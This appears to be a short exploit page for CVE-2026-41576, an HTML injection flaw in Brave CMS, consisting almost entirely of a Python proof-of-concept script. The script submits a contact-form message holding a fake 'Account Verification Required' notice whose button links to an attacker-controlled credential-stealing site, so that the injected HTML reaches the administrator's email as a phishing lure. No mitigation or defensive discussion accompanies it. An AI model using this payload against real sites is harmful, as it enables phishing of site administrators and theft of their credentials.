CVE-2026-41576 Brave CMS HTML注入漏洞

import requests # Target URL of the vulnerable contact form target_url = "http://target-brave-cms.com/contact" # Malicious payload simulating a phishing interface inside the email body # The payload injects a fake login form or a deceptive link html_payload = """ <div style="text-align:center; font-family: Arial;"> <h3>Security Alert: Account Verification Required</h3> <p>Please click the link below to verify your administrator account:</p> <a href="http://attacker-controlled-site.com/steal-credentials" style="background-color:#4CAF50; color:white; padding:10px; text-decoration:none;">Verify Account</a> </div> """ # Data to be sent in the POST request form_data = { "name": "Admin User", "email": "[email protected]", "message": html_payload } try: response = requests.post(target_url, data=form_data) if response.status_code == 200: print("[+] Payload sent successfully. Check administrator email for injected HTML.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")